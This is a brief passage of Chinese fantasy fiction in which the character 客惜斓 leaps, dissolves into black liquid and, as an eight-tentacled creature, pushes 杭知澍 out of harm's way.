客惜斓腕足极限伸长、向后飞抛,整个人跃到空中,在距离还有杭知澍五六米、身形开始下落之际化成一滩漆黑黏稠液体,下一秒,浓墨中八爪旋出,拦腰撞上杭知澍,用八条触手用力将他推远!